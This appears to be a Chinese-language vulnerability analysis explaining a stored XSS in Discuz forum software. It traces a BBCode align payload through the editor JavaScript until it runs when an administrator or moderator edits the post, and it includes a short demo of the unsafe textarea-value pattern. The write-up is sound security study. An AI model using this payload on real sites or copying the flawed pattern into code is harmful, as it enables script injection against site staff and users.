产生原因:
JS原生取ELEMENT中HTML内容的方法,会将服务端转义过的单双引号实体编码进行反转。
代码分析:
这里有payload: [align="onmouseover="alert(1)], 那么就从payload开始往回看漏洞是怎么产生的
```
<textarea name='message' id='e_textarea' class='pt' rows='15' tabindex='2'>[align="onmouseover="alert(1)]</textarea>
```
回帖之后payload显示如上述所示, 跟进 管理员/版主 编辑帖子时的操作
```
var editorid = 'e';
var textobj = $(editorid + '_textarea');
```
这里得到textobj = 'e_textarea'
/static/js/common.js Line8:
```
function $(id){ return !id? null : document.getElementById(id); }
```
跟进textobj可以发现 $(textobj) 提出的payload
```
[align="onmouseover="alert(1)]
```
进入bbcode2html()
/static/js/bbcode.js Line 95:
```
str = str.replace(/\[align=([^\[\<]+?)\]/ig, '<div align="$1">');
```
这里将payload
```
[align="onmouseover="alert(1)]
```
转换成
```
<div align=""onmouseover="alert(1)"></div>
```
/static/js/editor.js Line 39:
```
writeEditorContents(isUndefined(initialtext) ? textobj.value : initiatext );
```
跟进writeEditorContents参数看下
/static/js/editor.js Line 558:
```
function writeEditorContents(text){
...
# 写操作函数, text被直接写入html文件中
...
}
```
到此为止外部代码已经被成功插入并保存到新生成的html中
以上就是整个xss形成的原因, 最重要的原因是将textobj.value直接提出来当做插入的内容了
这里就有一个问题 比方说有如下代码
```
<textarea id=test><img src=x></textarea>
<script>
str = document.getElementById('test').value;
document.write(str);
</script>
```
这里可以发现写入了一个img标签 尖括号&lt; 和 &gt; 被反转义回<和>了
dz的这个xss就是没有处理反转义回来的尖括号造成了这个位置的xss
乌云案例: [参考链接](http://www.wooyun.org/bugs/wooyun-2010-099979)
全部评论 (6)